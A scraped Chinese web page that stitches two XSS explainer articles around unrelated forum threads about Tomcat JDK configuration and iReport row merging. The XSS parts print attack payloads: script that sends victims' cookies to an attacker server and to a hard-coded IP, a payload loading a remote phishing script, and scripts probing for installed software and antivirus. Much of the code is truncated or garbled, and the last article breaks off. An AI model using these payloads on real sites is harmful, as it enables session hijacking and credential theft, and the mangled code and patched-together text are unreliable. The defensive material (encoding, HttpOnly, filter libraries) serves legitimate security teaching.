比特客户端
您的位置：
详解大数据
详解大数据
详解大数据
详解大数据
了解如何防止跨站点脚本攻击
关键字：XSS 应用安全 站点脚本
　　1. 简介
　　跨站点脚本(XSS)是当前web应用中最危险和最普遍的漏洞之一。研究人员在大部分最受欢迎的网站,包括,, Amazon,等网站都发现这个漏洞。如果你关注bug赏金计划,会发现报道最多的问题属于XSS。为了避免跨站脚本,也有自己的过滤器,但安全研究人员总是能够设法绕过这些过滤器。
　　这种漏洞(XSS)通常用于发动cookie窃取、恶意软件传播(攻击),会话劫持,恶意重定向。在这种攻击中,攻击者将恶意JavaScript代码注入到网站页面中,这样”受害”者的浏览器就会执行攻击者编写的恶意脚本。这种漏洞容易找到，但很难修补。这就是为什么你可以在任何网站发现它的身影。
　　在这篇文章中,我们将看到跨站脚本攻击是什么以及如何创建一个过滤器来阻止它。我们还将看到几个开源库,将帮助你修补在web应用程序中的跨站脚本漏洞。
　　2. 跨站点脚本是什么?
　　跨站点脚本攻击是一种Web应用程序的攻击，攻击者尝试注入恶意脚本代码到受信任的网站上执行恶意操作。 在跨站点脚本攻击中，在受影响用户的浏览器端执行，并对用户的影响。也被称为XSS攻击。你可能有一个疑问就是为什么我们叫它”XSS”，而不是””。
　　对于广大的web程序猿来说。在网页设计中，我们已经把级联样式表叫做CSS。因此为了避免混淆，我们把cross- scripting称为XSS。
　　现在，让我们回到XSS攻击。这个漏洞发生在网站应用程序接收用户的输入却没有做必要的编码。如果对用户输入的数据没有进行正确的编码和过滤，这个被注入恶意脚本将被发其他用户。 对浏览器来说，它没有办法知道它不应该相信一个脚本的合法性。浏览器会正常地把这个脚本当成普通脚本执行，这个时候恶意的操作就不可避免的发生了。大部分的时候，XSS是用来窃取cookie，或窃取有效用户的会话令牌，以此进行会话劫持。
　　3. XSS的演示
　　Example 1:
　　几乎所有的网站上看到一个搜索框。有了这个搜索框，你可以搜索并找到在网站上存放的资料。这种搜索形式看起来像这样
　　在search.php页面中，代码显示了搜索的结果，并且列出了用户输入的搜索关键字。形式如下:
　　“Search results for Keyword”或者”You Searched for Keyword”
　　search.php可以这么写来模拟功能:
　　You Searched for:
　　无论你输入任何关键字，它将随搜索结果一起被显示在网页上。现在想想会发生什么，如果一个攻击者试图从这个地方注入以下恶意脚本。
　　可以看到，因为缺少对用户输入的有效的”编码”和”过滤”。导致了XSS攻击的发生，其实从本质上理解，XSS就是一种HTML的注入，和传统的buffer overflow是类似的思想，即没有对数据和代码进行有效的分离，在缓冲区溢出总，攻击者在通过超长的数据包发送覆盖了程序buffer的关键返回ret位置，导致CPU控制流的劫持，错误地把攻击者数据当作代码来执行，最后导致了缓冲区溢出。
　　而XSS中的HTML注入也是一种利用代码和数据未有效分离的攻击，只不过攻击发生在受害者用户的浏览器上，攻击者将数据发送给，服务器没有对输入的数据进行有效的”编码”和”过滤”(即去除数据本身的代码特性，对于HTML来说就是去除它们称为Tag标签的可能)，导致了这些数据在用户的浏览器上得到执行，最终导致XSS攻击的发生。
　　Example 2:
　　很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:
　　当用户点击发送时，这条消息会被保存在中指定的数据表中，另一个用户当打开这条消息的时候将看到发送的内容。但是，如果一个恶意攻击者发送的内容包含了一些javascript代码，这些代码用于偷取敏感的cookie。当用户打开看到这条消息的时候，恶意的javascript代码就会得到执行，造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持，直接以合法用户的身份登录其他用户的账户。
　　恶意攻击者可以在消息框中加入一下javascript代码:
　　var url = "/index.php"; //攻击者控制的服务器
　　var postStr = "ck=" + document.
　　var ajax =
　　if(window.XMLHttpRequest())
　　ajax = new XMLHttpRequest();
　　else if(window.ActiveXObject)
　　ajax = new ActiveXObject(".XMLHttp");
　　ajax.open("POST", url, true);
　　ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
　　ajax.send(postStr);
　　ajax.onreadystatechange = function()
　　if(ajax.readyState == 4 &&ajax.status == 200)
　　//alert("Done!");
　　通过AJAX异步请求，将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利用这些cookie信息以”合法”用户的身份进行登录操作。
　　这里首先要理清楚几个重要的问题:
　　1. cookie的作用
　　Cookie，有时也用其复数形式Cookies，指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃)，最新取代的规范是RFC2965。
　　也就是说，cookie是用户和服务器之间的桥梁。服务器可以使用session来保存用户的身份信息(ID,购物车等)，但是需要用户在访问网页(发送HTTP数据包)的时候附带上相应的cookie，通过cookie中的特定值来识别sessionID，才能把单独用户和单独的session联系起来。cookie是有状态HTTP交互的一种重要机制。
　　2. 浏览器的同源策略
　　在进行cookie窃取的时候，攻击者偷取的cookie是什么，是全部cookie，还是当前这个网站的cookie?要解决这个问题，我们要先了解一些浏览器的同源策略。
　　同源策略，它是由Netscape提出的一个著名的安全策略。
　　现在所有支持JavaScript 的浏览器都会使用这个策略。
　　所谓同源是指，，协议，端口相同。
　　当一个浏览器的两个tab页中分别打开来和的页面
　　当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的，
　　即检查是否同源，只有和百度同源的脚本才会被执行。
　　同源策略(Same Origin Policy)是一种，它是浏览器最核心也是最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。可以说web是构建在同源策略的基础之上的，浏览器只是针对同源策略的一种实现。
　　浏览器的同源策略限制了来自不同源的”document”或脚本，对当前”document”的读取或者设置某些属性。为了不让浏览器的页面行为发生混乱，浏览器提出了”Origin”(源)这以概念，来自不同的Origin的对象无法互扰。
　　因为同源策略的原因，也就导致了我们的XSS Payload(XSS攻击代码)必须在我们希望攻击的同一个域下触发。例如攻击者如果想窃取在下的cookie，那就必须在这个域(可以是不同页面，但要保证是同一个域)下的的某一个页面放置XSS代码，可以是型，也可以是反射型或DOM Baesd型的。
　　4. XSS攻击的种类
　　对XSS的分类没有明确的标准，但业界普遍将XSS攻击分为三类。反射型XSS(non-persistent XSS), 存储型XSS(persistent XSS), DOM Based XSS
　　4.1 非持久性跨站点脚本攻击
　　非持久性XSS也称为反射型跨站漏洞。它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。如果你看了我们上面所示的例子,第一个例子是一个非持久的XSS攻击。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。
　　4.2 持久的跨站点脚本攻击
　　持久型跨站点脚本也称为存储跨站点脚本。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库，当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。在上面的示例中,第二个例子就展示了一个持久的XSS攻击。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面，查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
　　4.3 基于dom的跨站点脚本攻击
　　基于DOM的XSS有时也称为type0 XSS。当用户能够通过交互修改浏览器页面中的DOM(Document Object Model)并显示在浏览器上时，就有可能产生这种漏洞，从效果上来说它也是反射型XSS。
　　通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。
　　在这个场景中，代码修改了页面的DOM节点，通过innerHTML把一段用户数据当作HTML写入到页面中，这就造成了DOM Based XSS
　　' onclick=alert(/xss/) '
　　输入后，页面代码就变成了:
　　testLink
　　点击这个新生成的链接，脚本将被执行。
　　实际上，这里还有另外一种利用方式―除了构造一个新事件外，还可以选择闭合掉标签，并插入一个新的HTML标签:
　　5. XSS漏洞产生的原因
　　跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体，用制造出一种行之有效的XSS过滤器是一件比较困难的事情。
　　但是这只是相对的，对用户输入数据的”编码”和”过滤”在任何时候都是很重要的，我们必须采取一些针对性的手段对其进行防御。
　　6. 如何创造一个良好的XSS过滤器来阻止大多数XSS攻击代码
　　6.1 需要重点”编码”和”过滤”的对象
　　The URL
　　HTTP referrer objects
　　GET parameters from a form
　　POST parameters from a form
　　Window.location
　　Document.referrer
　　document.location
　　document.URL
　　document.URLUnencoded
　　cookie data
　　headers data
　　database data
　　防御XSS有一个原则:
　　以当前的应用系统为中心，所有的进入应用系统的数据都看成是输入数据(包括从FORM表单或者从数据库获取到的数据)，所有从当前应用系统流出的数据都看作是输出(包括输出到用户浏览器或向数据库写入数据)
　　对输入的数据进行”过滤”，对输出数据进行”编码”。这里的”编码”也要注意，必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode，如果数据是输出到javascript代码中进行拼接的，那就要进行javascriptEncode。
　　如果不搞清楚数据具体输出的语境，就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执行先后问题导致看似严密的”编码”形同虚设。
　　6.2 HtmlEncode HTML编码
　　它的作用是将字符转换成HTMLEntities，对应的标准是-8859-1
　　为了对抗XSS，在HtmlEncode中要求至少转换以下字符:
　　&--& &
　　& --&&
　　& --& &
　　" --& "
　　' --& '
　　/ --& /
　　在PHP中:
　　htmlentities
　　.cn/php/func_string_htmlentities.asp
　　htmlspecialchars
　　.cn/php/func_string_htmlspecialchars.asp
　　6.3 javascriptEncode javascript”编码”
　　javascriptEncode与HtmlEncode的编码方法不同，HtmlEncode是去编码，而javascriptEncode更多的像转义，它需要使用”\”对特殊字符进行转义。从原理上来讲，这都符合编码函数的一个大原则: 将数据和代码区分开，因为对于HTML Tag来说，我们对其进行”可视化(转换成可以见字符)”的编码可以将数据和HTML的界限分开。而对于javascript来说，我们除了要进行编码之外，还需要对特殊字符进行转义，这样攻击输入的用于”闭合”的特殊字符就无法发挥作用，从而避免XSS攻击，除此之外，在对抗XSS时，还要求输出的变量必须在引号内部，以避免造成安全问题。
　　escape()
　　.cn/js/jsref_escape.asp
　　该方法不会对 ASCII 字母和数字进行编码，也不会对下面这些 ASCII 标点符号进行编码： * @ C _ + . / 。其他所有的字符都会被转义序列(十六进制\xHH)替换。
　　利用这个编码函数，不仅能防御XSS攻击，还可以防御一些command注入。
　　7. 一些开源的防御XSS攻击的代码库
　　PHP AntiXSS
　　这是一个不错的PHP库,可以帮助开发人员增加一层保护，防止跨站脚本漏洞。
　　/p/php-antixss/
　　xss_clean.php filter
　　/mbijon/1098477
　　HTML Purifier
　　http://htmlpurifier.org/
　　xssprotect
　　/p/xssprotect/
　　XSS HTML Filter
[ 责任编辑：小石潭记 ]
去年，手机江湖里的竞争格局还是…
甲骨文的云战略已经完成第一阶段…
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte请教 ，电脑上安装有jdk1.6和jdk1.7，环境变量JAVA_HOME以前是1.7，后来改成1.6 - 开源中国社区
当前访客身份：游客 [
当前位置：
因为1.7是 64位的，所以报错：
[ 22:38:49] [206 &javajni.c] [error] %1 不是有效的 Win32 应用程序。 [ 22:38:49] [985 &prunsrv.c] [error] Failed creating java D:\jdk1.7\jre\bin\server\jvm.dll [ 22:38:49] [1280 prunsrv.c] [error] ServiceStart returned 1 [ 22:38:49] [info] Run service finished.
我知道这个错是因为64位的1.7与tomcat6不兼容导致的。
现在的系统环境变量JAVA_HOME已经是1.6了，为什么我在启动Tomcat服务的时候，调用的还是1.7？看到setclasspath.bat 里面确实调用的%JAVA_HOME%
---------------问题补充---------------
：终于解决了，我把Tomcat服务卸载，重新注册了一下就可以了。原因是：我一开始注册的tomcat服务（那时的是jdk1.7），后来把系统变量JAVA_HOME改成1.6后，没重新注册tomcat服务，所以tomcat服务中的JAVA_HOME 还是指向1.7。tomcat服务的所用的环境变量是在注册服务的时候就已经定住了，我以前还错误以为是每次启动都会重新从系统变量中取值
共有4个回答
<span class="a_vote_num" id="a_vote_num_
引用来自“gjw12345”的评论clean project,如果还不行的话，卸载1.7，项目编译完后重装。是tomcat 问题，不是eclipse
<span class="a_vote_num" id="a_vote_num_
引用来自“純白陰影”的评论echo %JAVA_HOME% 或者 java --version 看一下java --version &是1.6了，但启动tomcat服务后，再查看tomcat日志，就会报上面的错误，错误里调用的依然是1.7，很不解
<span class="a_vote_num" id="a_vote_num_
echo %JAVA_HOME% 或者 java --version 看一下
<span class="a_vote_num" id="a_vote_num_
clean project,如果还不行的话，卸载1.7，项目编译完后重装。
更多开发者职位上
有什么技术问题吗？
嘎嘣豆的其它问题请教一个ireport 怎样做 行合并？ - 开源中国社区
当前访客身份：游客 [
当前位置：
sql已经做过分组，现需要将几行中重复字段做行合并
共有7个回答
<span class="a_vote_num" id="a_vote_num_
楼上说得好，我也常常使用FineReport，感觉上手简单，很容易操作，可以试试下载
下载地址：
<span class="a_vote_num" id="a_vote_num_
其实就是Finereport的相邻连续分组，设置方式如下：
数据库表数据是按照时间先后录入的，查询的时候希望按照时间先后，某个字段连续相同的话就合并起来显示，这样的报表可以通过相邻连续分组来实现。
2.1&打开报表
打开报表%FR_HOME%\WebReport\WEB-INF\reportlets\doc\Primary\GroupReport\Group.cpt。
预览数据集ds1，可看到如下数据：
2.2&相邻连续分组设置
将地区字段的数据设置修改为分组&相邻连续：
2.3&保存并预览
保存模板，设计器中点击分页预览，便可以看到效果，模板效果在线查看请点击
已完成的模板，可参见%FR_HOME%\WebReport\WEB-INF\reportlets\doc\Advanced\GroupReport\CusGroup_1.cpt。
<span class="a_vote_num" id="a_vote_num_
可以看我的类似问题：&http://www.oschina.net/question/015
<span class="a_vote_num" id="a_vote_num_
引用来自“北京朗天鑫业”的评论
使用crosstab做的。
更多的分组：
@北京朗天鑫业&你好，想问另一个问题：ireport里是否有 “有条件的计算小计或者合计”的功能（我目前是用变量来计算小计、合计的），比如说现在有字段：部门编号，部门人数，主要产品，并且一个部门可能有多个产品。为了列举“主要产品”，所以“部门编号”“部门人数”可能会重复出现，所以用变量对所有“部门人数”计算合计时，“部门人数”合计就会大于实际值。能不能先根据“部门编号”去重，再对“部门人数”合计？我只发现变量有个distinct Count
--- 共有 1 条评论 ---
这个应该是你的ql的问题 统计人数与产品是需要额外处理的 不是使用count
而是使用sum方式 比如sum(distinct userid)
(3年前)&nbsp&
<span class="a_vote_num" id="a_vote_num_
引用来自“龙影”的评论 无法合并，可以推荐使用另外的方法来解决。使用crosstab（交叉报表）来解决。分组字段自动进行合并行。
&你好，想问另一个问题：ireport里是否有 “有条件的计算小计或者合计”的功能（我目前是用变量来计算小计、合计的），比如说现在有字段：部门编号，部门人数，主要产品，并且一个部门可能有多个产品。为了列举“主要产品”，所以“部门编号”“部门人数”可能会重复出现，所以用变量对所有“部门人数”计算合计时，“部门人数”合计就会大于实际值。能不能先根据“部门编号”去重，再对“部门人数”合计？我只发现变量有个distinct Count
<span class="a_vote_num" id="a_vote_num_
使用crosstab做的。
更多的分组：
<span class="a_vote_num" id="a_vote_num_
无法合并，可以推荐使用另外的方法来解决。使用crosstab（交叉报表）来解决。分组字段自动进行合并行。
更多开发者职位上
有什么技术问题吗？
嘎嘣豆的其它问题
类似的话题4154人阅读
网络安全（10）
摘要：XSS跨站脚本攻击一直都被认为是客户端Web安全中最主流的攻击方式。因为Web环境的复杂性以及XSS跨站脚本攻击的多变性，使得该类型攻击很难彻底解决。那么，XSS跨站脚本攻击具体攻击行为是什么，又该如何进行有效的防范呢？本文对此进行了有针对性的具体实例分析。
XSS跨站脚本攻击一直都被认为是客户端Web安全中最主流的攻击方式。因为Web环境的复杂性以及XSS跨站脚本攻击的多变性，使得该类型攻击很难彻底解决。那么，XSS跨站脚本攻击具体攻击行为是什么，又该如何进行有效的防范呢？本文对此进行了有针对性的具体实例分析。
跨站脚本攻击（Cross Site Scripting）是指攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表（Cascading Style Sheets）的缩写CSS区分开，跨站脚本攻击通常简写为XSS。
下面这个页面的主要作用是获取用户输入的参数作为用户名，并在页面中显示“欢迎您，XXX”的形式，具体代码如下：
$username = $_GET[&name&];
echo &&p&欢迎您, &.$username.&!&/p&&;
正常情况下，用户会在URL中提交参数name的&#20540;为自己的姓名，然后该数据内容会通过以上代码在页面中展示，如用户提交姓名为“张三”，完整的URL地址如下：
http://localhost/test.php?name=张三
在浏览器中访问时，会显示如下图1所示内容：&
此时，因为用户输入的数据信息为正常数据信息，经过脚本处理以后页面反馈的源码内容为&p&欢迎您, 张三!&/p&。但是如果用户提交的数据中包含有可能被浏览器执行的代码的话，会是一种什么情况呢？我们继续提交name的&#20540;为&script&alert(/我的名字是张三/)&/script&,即完整的URL地址为
http://localhost/test.php?name=&script&alert(/我的名字是张三/)&/script&
在浏览器中访问时，我们发现会有弹窗提示，如下图2所示：&
那么此时页面的源码又是什么情况呢？
源码变成了“&p&欢迎您, &script&alert(/我的名字是张三/)&/script&!&/p&”，从源代码中我们发现，用户输入的数据中，&script&与&/script&标签中的代码被浏览器执行了，而这并不是网页脚本程序想要的结果。这个例子正是最简单的一种XSS跨站脚本攻击的形式，称之为反射型XSS。
XSS跨站脚本攻击的分类
根据XSS跨站脚本攻击存在的形式及产生的效果，可以将其分为以下三类。
一、&反射型XSS跨站脚本攻击
反射型XSS脚本攻击即如我们上面所提到的XSS跨站脚本攻击方式，该类型只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出，导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中，所以黑客通常需要通过诱骗或加密变形等方式，将存在恶意代码的链接发给用户，只有用户点击以后才能使得攻击成功实施。
二、&存储型XSS跨站脚本攻击
存储型XSS脚本攻击是指Web应用程序会将用户输入的数据信息保存在服务端的数据库或其他文件形式中，网页进行数据查询展示时，会从数据库中获取数据内容，并将数据内容在网页中进行输出展示，因此存储型XSS具有较强的稳定性。
存储型XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中，黑客将包含有恶意代码的数据信息直接写入文章或文章评论中，所有浏览文章或评论的用户，都会在他们客户端浏览器环境中执行插入的恶意代码。如流行的Bo-Blog程序的早期版本中存在对用户提交评论数据过滤不严导致的XSS跨站脚本攻击漏洞，黑客可以在文章评论中提交插入恶意数据的UBB代码，提交后，Bo-Blog程序会将数据保存至数据库中，当用户浏览该日志时，就会执行插入的恶意代码，如图3所示。&
三、&基于DOM的XSS跨站脚本攻击
基于DOM的XSS跨站脚本攻击是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击。不同于反射型XSS和存储型XSS，基于DOM的XSS跨站脚本攻击往往需要针对具体的javascript DOM代码进行分析，并根据实际情况进行XSS跨站脚本攻击的利用。让我们来针对如下代码进行详细分析：
&title&DOM Based XSS Demo&/title&
function xsstest()
&var str = document.getElementById(&input&).
&document.getElementById(&output&).innerHTML = &&img src='&&#43;str&#43;&'&&/img&&;
&div id=&output&&&/div&
&input type=&text& id=&input& size=50 value=&& /&
&input type=&button& value=&提交& onclick=&xsstest()& /&
以上代码的作用是提交一个图片的URL地址以后，程序会将图片在页面中进行展示，如我们提交百度LOGO图片的地址/img/baidu_sylogo1.gif，那么在页面中展示结果如下图4所示。&
当用户输入完百度LOGO的地址，点击“提交”按钮后，“提交”按钮的onclick事件会调用xsstest()函数。而xsstest()函数会获取用户提交的地址，通过innerHTML将页面的DOM节点进行修改，把用户提交的数据以HTML代码的形式写入页面中并进行展示。以上例子中输出的HTML代码为“&img src=” /img/baidu_sylogo1.gif”&&/img&”。
以上情况为正常的用户输入情况，那黑客又是怎么利用该种类型代码实现XSS跨站脚本攻击的呢？黑客可以通过构造如下数据，输入“#’ onerror=’javascript:alert(/DOM Based XSS Test/)”，在浏览器中提交后，发现代码果然被执行，出现了弹窗提示，如下图5所示。&
XSS跨站脚本攻击实例
以上是针对XSS跨站脚本攻击三种类型的简单介绍。看了上面的描述朋友们或许会想，难道仅仅弹出一个提示框就是XSS跨站脚本攻击了吗？答案当然是否定的，XSS跨站脚本攻击的利用可以实现多种效果，甚至可以说XSS跨站脚本攻击漏洞的利用是一种黑客攻击的艺术，下面我们结合具体实例进行详细的分析和描述，了解一下XSS跨站脚本攻击都能做些什么事情。
&XSS跨站脚本攻击利用钓鱼
目前，网络钓鱼攻击的方式比较多，包括申请注册相&#20284;域名，构建相&#20284;度高的网站环境和发布虚假中奖信息等，但是以上钓鱼攻击方式针对有一定安全意识的网民来说，很难实现成功的钓鱼攻击。然而通过XSS跨站脚本攻击漏洞进行的钓鱼攻击，即使有一定安全意识的网民，也无法抵御。这里我们以盛大游戏论坛的XSS跨站脚本攻击漏洞利用的钓鱼攻击演示（目前，该漏洞已经修复）。首先，我们需要了解的是，盛大的游戏登录都是使用盛大通行证进行登录的，而盛大的游戏论坛也是使用盛大通行证进行登录，所以，如果黑客通过盗取游戏玩家登录论坛时的信息，就相当于盗取了玩家游戏账号和密码。盛大的游戏论坛就存在XSS跨站脚本攻击漏洞，使得黑客可以通过该漏洞获取用户的账号和密码。存在过滤不严的位置为用户资料中的个人主页部分，通过在个人主页栏中输入如下代码：
[url]http://'' STYLE='a:expression(document.write(&&s\143ript language=javas\143ript src=/1.jpg Charset=GB23&&/s\143ript&&))' target=_blank[/url]
然后利用该账号在论坛中发帖子或回复，这样当其他玩家访问我们发布或回复的帖子时，就会执行我们插入的恶意代码。/1.jpg就是我们构造的恶意代码，这个代码是我们用来钓鱼的页面，如下图6所示：&
显示的内容和盛大官方游戏论坛登录的页面一样，如果不通过查看网页源代码的方式是无法从页面显示中看出任何问题的，当玩家输入通行证账号和密码信息并点击登录时，账号提交的地址不是盛大的服务器，而是黑客的服务器。从源码中，可以看到账号和密码发送到的黑客服务器账号接收程序的地址，如下图7所示：&
XSS跨站脚本攻击盗取用户Cookie信息
通过XSS跨站脚本攻击盗取用户Cookie信息一直是XSS跨站脚本攻击漏洞利用的最主流方式之一。当用户正常登录Web应用程序时，用户会从服务端得到一个包含有会话令牌的cookie：
Set-Cookie： SessionID=F7B24A182EC3DF53E65C88FCA17B0A96FAE129C3
黑客则可以通过XSS跨站脚本攻击的方式将嵌入恶意代码的页面发送给用户，当用户点击浏览时，黑客即可获取用户的Cookie信息并用该信息欺骗服务器端，无需账号密码即可直接成功登录。这里我们以网易邮箱的XSS跨站脚本攻击漏洞为例进行分析和描述。网易邮箱老版本中，曾经存在一个XSS跨站脚本攻击漏洞，黑客可以构造如下代码：
&XML ID=I&&X&&C&&![CDATA[&IMG SRC=&javas]]&&![CDATA[cript:xx=new Image();xx.src='http://61.130.75.239/pic/163.asp?url='&#43;escape(document.URL)&#43;'&cookie='&#43;escape(document.cookie);& width=0 height=0&]]&
&&/C&&/X&&/xml&&SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&&/SPAN&
并将包含有如图8所示恶意代码的邮件发送至网易邮箱用户时，用户打开了含有恶意代码的邮件后，代码就会自动将用户的cookie信息发送到61.130.75.239上的163.asp文件，其中163.asp的作用是记录发送过来的Cookie，记录的Cookie内容如下图9所示：&
在接收到Cookie以后，就可以通过Cookie欺骗的方式实现登录目标邮箱了，如图10所示。&
&XSS跨站脚本攻击搜集客户端环境信息
搜集客户端环境信息在更多的时候主要应用于指定目标的渗透攻击或网络挂马攻击，如了解客户端环境所使用的浏览器信息、操作系统信息、组件是否安装以及安全防护软件安装情况等。通过XSS跨站脚本攻击可以更加方便、快速地实现客户端环境信息的收集。
那么如何通过javascript收集以上信息呢？我们构造如下脚本代码，并在浏览器中执行这段代码。
alert(navigator.userAgent);
得到的结果如下图11所示。&
这个信息中告诉了我们以上关心的两个信息，一个是浏览器的类型和版本，另外一个是客户端环境操作系统的版本。
浏览器：MSIE 8.0（微软IE浏览器，浏览器版本是8.0）
操作系统：Windows NT 6.1（操作系统类型是windows 7）
通过以上方式可以获取客户端的浏览器和操作系统信息，接下来我们在继续判断客户端环境组件安装情况。构造代码如下：
&var object = new ActiveXObject(&XunLeiBHO.ThunderIEHelper&);
} catch(e){&alert(&迅雷软件未安装&);
客户端环境中如果安装迅雷下载软件的话，那么就会安装相应的ActiveX控件XunLeiBHO.ThunderIEHelper，以上脚本的作用即是通过网页脚本去加载迅雷的ActiveX控件，如果控件存在则不会抛出异常，否则就会抛出异常并被脚本捕获，运行上面的脚本代码时，安装有迅雷的环境不会有任何提示，未安装迅雷的环境就会弹窗提示“迅雷软件未安装”。
控件判断可以通过网页加载ActiveX控件的方式实现，那么怎么通过脚本判断客户端环境中是否安装了安全软件呢？这里我们以瑞星安全软件为例，分析描述如何通过XSS跨站脚本攻击漏洞的利用检测客户端环境是否存在瑞星安全软件。我们构造代码如下：
var havesoft=
var disk=['c','d'];
var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];
for(i=0;i&soft.i&#43;&#43;)
{&&&&for(j=0;j&disk.j&#43;&#43;)&&&
&{&&&&&var img=new Image();
&&res='res://'&#43;disk[j]&#43;soft[i];
&&img.src=
&&if(img.height!=30)
&&&havesoft=&&&
以上代码的作用是通过javascript结合res协议对客户端环境中的资源文件进行加载，javascript脚本运行后，会对客户端环境的C、D盘进行访问，访问是否存在瑞星默认安装路径的资源文件，并尝试对资源文件进行加载，如果加载成功，则说明资源文件存在，也说明瑞星安全软件的存在，并将变量havesoft置为真，脚本检测结束后，只需要检测该变量是否为真即可。
相对于以上三种情况，可以说是XSS蠕虫（XSS Worm）的破坏力和影响力都是巨大的。XSS蠕虫主要发生在用户之间存在交互行为的页面中，当Web应用程序对用户输入的数据信息没有做严&#26684;的过滤时，通过结合Ajax的异步提交，就可以实现在植入恶意代码的同时，将恶意代码进行对外发送，即实现了代码的感染和传播，也就形成了XSS蠕虫。
谈到XSS蠕虫就很有必要介绍一下新浪微博遭受XSS蠕虫攻击事件，同时我们也以此次攻击事件作为例子，对黑客恶意利用漏洞至XSS蠕虫大范围扩散的过程进行详细分析和描述，并对该XSS蠕虫的恶意脚本文件进行一下简要的分析。
此处请参见拙作《》，不再赘述。
XSS跨站脚本攻击的防范
通过以上针对不同种情况的XSS跨站脚本攻击的描述，我们了解到了在复杂的Web环境中，XSS的利用是千变万化的，如何能够有效地防范XSS跨站脚本攻击问题一直都是浏览器厂商和网站安全技术人员关注的热门话题。现在很多浏览器厂商都在自己的程序中增加了防范XSS跨站脚本攻击的措施，如IE浏览器从IE8开始内置了XSS筛选器，Firefox也有相应的CSP、Noscript扩展等。而对于网站的安全技术人员来说，提出高效的技术解决方案，保护用户免受XSS跨站脚本攻击才是关键。下面我们结合网站安全设计，描述一下如何通过技术手段实现XSS跨站脚本攻击的防范。
利用HttpOnly
HttpOnly最初是由微软提出的，目前已经被多款流行浏览器厂商所采用。HttpOnly的作用不是过滤XSS跨站脚本攻击，而是浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie，解决XSS跨站脚本攻击后的Cookie会话劫持行为。
httpOnly是在Set-Cookie时进行标记的，设置的Cookie头&#26684;式如下：
&&& Set-Cookie: &name&=&value&[; &name&=&value&]
&&& [; expires=&date&][; domain=&domain_name&]
&&& [; path=&some_path&][; secure][; HttpOnly]
以php为例，在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持，如
